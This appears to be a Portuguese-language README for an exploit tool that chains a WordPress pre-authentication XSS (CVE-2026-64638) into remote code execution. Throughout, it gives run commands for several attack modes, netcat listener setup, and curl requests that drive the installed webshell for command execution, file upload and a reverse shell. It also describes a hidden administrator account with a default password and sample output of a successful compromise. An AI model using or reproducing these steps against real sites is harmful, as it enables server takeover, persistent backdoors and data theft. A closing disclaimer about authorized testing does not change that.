
Explora XSS pré-autenticação do WordPress (CVE-2026-64638) para obter execução remota de código, instalando uma webshell backdoor criptografada com AES com persistência, upload de arquivos, reverse shell e opções de furtividade para engajamentos autorizados de red team.
Exploit de Cadeia XSS Pré-Auth → RCE no WordPress
Desenvolvido por G0D150NE
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
Modo Auto (Recomendado)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
Modo XSS (Sem Credenciais)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
Modo Direto (Com Credenciais)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
Após o webshell instalado:
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
| Opção | Descrição | Padrão |
|---|---|---|
target | URL do WordPress alvo | Obrigatório |
-u, --username | Nome de usuário admin do WordPress | - |
-p, --wp-pass | Senha do admin do WordPress | - |
--lhost | Endereço IP do listener | 127.0.0.1 |
--lport | Porta do listener | 4444 |
--mode | Modo de exploração (auto/xss/direct) | auto |
--slug | Nome do slug do plugin | g0d150ne |
--callback-port | Porta do servidor de callback | 9090 |
--backdoor-pass | Senha do backdoor | G0D150NE |
Após exploração bem-sucedida:
| Recurso | Comando |
|---|---|
| Executar Comando | ?b2h=BASE64_CMD |
| Upload de Arquivo | -F '[email protected]' |
| Reverse Shell | ?rev=1 |
| Comando Simples | ?cmd=id |
| Backdoor Criptografado | ?decrypt=AES_DATA |
Admin Oculto Criado:
sysadmin_{slug}{backdoor-pass} (padrão: G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
| Problema | Solução |
|---|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Conexão recusada | Verifique o listener: nc -lvnp 4444 |
Falha no login | Verifique as credenciais ou use o modo XSS |
Falha no upload do plugin | Verifique as permissões, use um slug diferente |
Conflito de argumentos | Use -p para wp-pass, --backdoor-pass para o backdoor |
Somente para fins educacionais e testes autorizados.
Use apenas em sistemas que você possui ou com permissão explícita para testar.
O autor não é responsável por qualquer uso indevido ou dano.